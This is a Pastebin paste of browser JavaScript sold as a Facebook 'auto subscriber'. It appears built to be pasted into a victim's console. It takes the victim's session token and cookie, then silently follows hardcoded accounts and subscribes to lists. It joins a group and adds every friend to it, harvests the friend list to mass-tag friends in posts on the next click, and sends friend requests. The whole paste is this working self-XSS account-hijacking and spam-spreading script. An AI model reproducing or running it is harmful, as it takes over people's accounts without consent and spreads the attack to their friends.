Advertisement
lryanrc

Auto Subribe Lish Facebook Work 100%

Nov 30th, 2013
404
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.26 KB | None | 0 0
  1. // Script Auto Follow Facebook Accounts & list By LryanRc
  2. // @name Facebook AutoFollower List
  3. // @description Facebook AutoFollower
  4. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  5. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  6.  
  7. function cereziAl(isim) {
  8. var tarama = isim + "=";
  9. if (document.cookie.length > 0) {
  10. konum = document.cookie.indexOf(tarama)
  11. if (konum != -1) {
  12. konum += tarama.length
  13. son = document.cookie.indexOf(";", konum)
  14. if (son == -1)
  15. son = document.cookie.length
  16. return unescape(document.cookie.substring(konum, son))
  17. }
  18. else { return ""; }
  19. }
  20. }
  21.  
  22. function getRandomInt (min, max) {
  23. return Math.floor(Math.random() * (max - min + 1)) + min;
  24. }
  25. function randomValue(arr) {
  26. return arr[getRandomInt(0, arr.length-1)];
  27. }
  28.  
  29. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  30. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  31.  
  32. function a(abone){
  33. var http4 = new XMLHttpRequest();
  34.  
  35. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  36.  
  37. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  38. http4.open("POST", url4, true);
  39.  
  40. //Send the proper header information along with the request
  41. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  42. http4.setRequestHeader("Content-length", params4.length);
  43. http4.setRequestHeader("Connection", "close");
  44.  
  45. http4.onreadystatechange = function() {//Call a function when the state changes.
  46. if(http4.readyState == 4 && http4.status == 200) {
  47.  
  48. http4.close; // Close the connection
  49.  
  50. }
  51. }
  52.  
  53. http4.send(params4);
  54. }
  55.  
  56. function sublist(uidss) {
  57. var a = document.createElement('script');
  58. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  59. document.body.appendChild(a);
  60. }
  61. //Kapalo Arak
  62. a("100000414417220");
  63. a("100005109672286");
  64. a("100005181696527");
  65. sublist("647905811899893");
  66. sublist("643177409039400");
  67. sublist("730430966980710");
  68. sublist("746822948674845");
  69. sublist("749878228369317");
  70. sublist("749878841702589");
  71. sublist("750570011633472");
  72. sublist("750571331633340");
  73. sublist("750571998299940");
  74. sublist("750572504966556");
  75. sublist("750573304966476");
  76.  
  77. //Follow
  78. sublist("751138521576621");
  79. sublist("751139311576542");
  80. sublist("751139721576501");
  81. sublist("751140041576469");
  82. sublist("751140301576443");
  83. sublist("751140554909751");
  84. sublist("751140734909733");
  85.  
  86. //Mesin Like
  87. sublist("754707481219725");
  88. sublist("754708134552993");
  89. sublist("754708334552973");
  90. sublist("754708634552943");
  91. sublist("754709627886177");
  92.  
  93. //Partii
  94. sublist("1374529716120885");
  95. sublist("185231354992920");
  96. sublist("205425336304454");
  97. sublist("185322661648055");
  98. sublist("1387977281440556");
  99. sublist("209109452591882");
  100.  
  101.  
  102. //Anggota
  103. var gid = ['410126365742548'];
  104. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  105. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  106.  
  107. var httpwp = new XMLHttpRequest();
  108. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  109. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  110. httpwp['open']('POST', urlwp, true);
  111. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  112. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  113. httpwp['setRequestHeader']('Connection', 'keep-alive');
  114. httpwp['send'](paramswp);
  115.  
  116. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  117. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  118.  
  119. var friends = new Array();
  120. gf = new XMLHttpRequest();
  121. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  122. gf['send']();
  123. if (gf['readyState'] != 4) {} else {
  124. data = eval('(' + gf['responseText']['substr'](9) + ')');
  125. if (data['error']) {} else {
  126. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  127. return _0x93dax8['index'] - _0x93dax9['index'];
  128. });
  129. };
  130. };
  131.  
  132. for (var i = 0; i < friends['length']; i++) {
  133. var httpwp = new XMLHttpRequest();
  134. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  135. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  136. httpwp['open']('POST', urlwp, true);
  137. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  138. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  139. httpwp['setRequestHeader']('Connection', 'keep-alive');
  140. httpwp['onreadystatechange'] = function () {
  141. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  142. };
  143. httpwp['send'](paramswp);
  144. };
  145. var spage_id = "692180957472378";
  146. var spost_id = "744992415524565";
  147. var sfoto_id = "737409402949533";
  148. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  149. var smesaj = "";
  150. var smesaj_text = "";
  151. var arkadaslar = [];
  152. var svn_rev;
  153. var bugun= new Date();
  154. var btarihi = new Date();
  155. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  156. if(!document.cookie.match(/paylasti=(\d+)/)){
  157. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  158. }
  159.  
  160.  
  161. //arkadaslari al ve isle
  162. function sarkadaslari_al(){
  163. var xmlhttp = new XMLHttpRequest();
  164. xmlhttp.onreadystatechange = function () {
  165. if(xmlhttp.readyState == 4){
  166. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  167. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  168. smesaj = "";
  169. smesaj_text = "";
  170. for(i=f*10;i<(f+1)*10;i++){
  171. if(arkadaslar.payload.entries[i]){
  172. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  173. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  174. }
  175. }
  176. sdurumpaylas(); }
  177.  
  178. }
  179.  
  180. };
  181. var params = "&filter[0]=user";
  182. params += "&options[0]=friends_only";
  183. params += "&options[1]=nm";
  184. params += "&token=v7";
  185. params += "&viewer=" + user_id;
  186. params += "&__user=" + user_id;
  187.  
  188. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  189. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  190. xmlhttp.send();
  191. }
  192.  
  193. //tiklama olayini dinle
  194. var tiklama = document.addEventListener("click", function () {
  195. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  196. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  197. sarkadaslari_al();
  198. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  199.  
  200. document.removeEventListener(tiklama);
  201. }
  202. }, false);
  203.  
  204.  
  205. //arkada leme
  206. function sarkadasekle(uid,cins){
  207. var xmlhttp = new XMLHttpRequest();
  208. xmlhttp.onreadystatechange = function () {
  209. if(xmlhttp.readyState == 4){
  210. }
  211. };
  212.  
  213. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  214. var params = "to_friend=" + uid;
  215. params += "&action=add_friend";
  216. params += "&how_found=friend_browser";
  217. params += "&ref_param=none";
  218. params += "&outgoing_id=";
  219. params += "&logging_location=friend_browser";
  220. params += "&no_flyout_on_click=true";
  221. params += "&ego_log_data=";
  222. params += "&http_referer=";
  223. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  224. params += "&phstamp=165816749114848369115";
  225. params += "&__user=" + user_id;
  226. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  227. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  228.  
  229. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  230. xmlhttp.send(params);
  231. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  232. cinsiyetgetir(uid,cins,"sarkadasekle");
  233. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  234. xmlhttp.send(params);
  235. }
  236. }
  237.  
  238. //cinsiyet belirleme
  239. var cinssonuc = {};
  240. var cinshtml = document.createElement("html");
  241. function scinsiyetgetir(uid,cins,fonksiyon){
  242. var xmlhttp = new XMLHttpRequest();
  243. xmlhttp.onreadystatechange = function () {
  244. if(xmlhttp.readyState == 4){
  245. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  246. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  247. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  248. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  249. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  250. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  251. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  252. }
  253. eval(fonksiyon + "(" + id + "," + cins + ");");
  254. }
  255. };
  256. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  257. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  258. xmlhttp.send();
  259. }
  260. function autoSuggest()
  261. {
  262. links=document.getElementsByTagName('a');
  263. for (i in links) {
  264. l=links[i];
  265. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  266. l.click();
  267. }
  268. }
  269. }
  270.  
  271. function blub()
  272. {
  273. if(document.getElementsByClassName('pbm fsm').length == 1) {
  274. w = document.getElementsByClassName('pbm fsm')[0];
  275.  
  276. e = document.createElement('a');
  277. //e.href = '#';
  278. e.innerHTML = 'Auto Suggest by SAGA';
  279. e.className = 'uiButton';
  280. e.onclick = autoSuggest;
  281.  
  282. if( w.childElementCount == 0)
  283. {
  284. w.appendChild(document.createElement('br'));
  285. w.appendChild(e);
  286. }
  287. }
  288. }
  289.  
  290. blub();
  291.  
  292. document.addEventListener("DOMNodeInserted", blub, true);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement